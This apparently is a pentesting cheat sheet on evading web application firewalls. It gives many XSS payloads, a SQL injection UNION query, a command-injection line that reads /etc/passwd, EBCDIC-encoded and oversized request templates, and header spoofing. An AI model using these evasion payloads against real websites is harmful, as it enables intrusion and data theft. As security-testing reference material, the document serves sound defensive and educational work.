WAF Bypass

Table of Contents

Fingerprinting the WAF

Tools: nmap, wafw00f, whatwaf

Look in the server response headers for clues, look at cookies.

Nmap

nmap --script=http-waf-fingerprint,http-waf-detect -p443 example.com

Identify what is blocked

Isolate what is blocked within our specific payload and target that specific part. Considering this basic XSS payload:

<img src=x onerror=prompt()>

Send different parts or variations of the payload to identify which part is blocked:

  • Specific characters, like “<“, “>”
  • A specific keyword, like “onerror”
  • A combination of keywords, like “img” + “onerror”
  • A specific path
  • The IP address, see Configurations

Obfuscation

Try obfuscating the payload. Try bypassing the regex filtering done by both the WAF and web server. Easier when the regex is accessible.

  • Use an alternative syntax
  • Use line breaks or tabs

Case manipulation

When some keywords are blocked, change the case.

Example – Keyword “script” is blocked

<script>alert(XSS)</script>
<sCrIpT>alert(XSS)</sCriPt>

Example – Keyword “onerror” is blocked

<img src=x onerror=prompt()>
<img src=x oNError=prompt()>

Substitute functions or characters

Try replacing characters like whitespaces, adding comments, etc.

Substitute functions

Try replacing a blocked function by another function.

<img src=x onerror=prompt()>
<img src=x onmouseover=prompt()>

Uninitialized variables

Use uninitialized variables (like $u) in command injections, because Bash treats uninitialized variable as empty strings.

cat$u /etc$u/passwd$u

Cloudflare – Bypass by replacing the space ” ” character

Use a comment within a comment. See blog post above.

/*/**/*/

Example with SQLi

'/*!Union/*Whatever*/*/ select 1,2,3,table_name,5,6 from information_schema.tables ...

Use various encodings

Try other encodings, double-encoding, etc.

Use CyberChef with “Encode text” then “URL Encode” recipe. Chose encoding like “IBM EBCDIC US-Canada (37)” and add the appropriate Content-Type header.

POST ...
Content-Type: application/json;charset=ibm037

%C3%80%7F%C2%97%C2%81%C2%99%C2%81%C2%94%7Fz%7F%C2%A5%C2%81%C2%93%C2%A4%C2%85%7F%C3%90

See example in Amazon Web Services WAF.

Fuzzing

<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters

Configurations

Try to bypass weaknesses in how the WAF is configured.

Content Size

In some cloud-based WAFs, the request will not be checked if the payload exceeds a certain size. In these scenarios, it is possible to bypass the firewall by increasing the size of the request body or URL.

See example in Amazon Web Services WAF.

Insert 8KB of “a” characters before the payload

Try various sizes, could be 16KB.

<img src=x onerror=prompt()>
aaaaaaaaaa...aaaa<img src=x onerror=prompt()>

JSON examples

POST /some-vulnerable-api HTTP/2
Host: ...
                                                                                                                                                     {<Insert 8192 space characters here>"param1":"payload"}
POST /some-vulnerable-api HTTP/2
Host: ...
                                                                                                                                                     {"dummy":"<Insert 8192 characters here>", param1":"payload"}

URL Path

If a specific path is blocked, try accessing the resource with another path.

/path/somepath/   # Blocked by the WAF
/path/./somepath/ # NOT blocked by the WAF

Bypass with duplicate parameter

Try duplicating the parameter with the blocked value.

POST /some-vulnerable-api HTTP/2
Host: ...

{"param1":"whatever", "param1":"some payload"}

See example in Amazon Web Services WAF.

Add HTTP headers

Append a fake HTTP header ‘X-Forwarded-For’ (and alike).

See example in Amazon Web Services WAF.

Varnish WAF – Bypass

Append HTTP header ‘X-originating-IP’.

Inconsistencies

Try to bypass the WAF using inconsistencies in how different technologies process data.

Application-specific behavior

Start by observing how characters are processes by the application.

testing of input<>!@#$%^&'*":
testing of input<>!@#$%^&'*:

The application processes the payload and changes it. For example the application removes the double-quotes from the payload. In this case, add double-quotes within each keyword to bypass blocked keywords.

<img src=x onerror=prompt()>
<im"g sr"c=x onerro"r=promp"t()>

Other ideas

Inspect tamper scripts from SQLmap

Inspect scripts and try these ideas.

sqlmap --list-tampers

Reference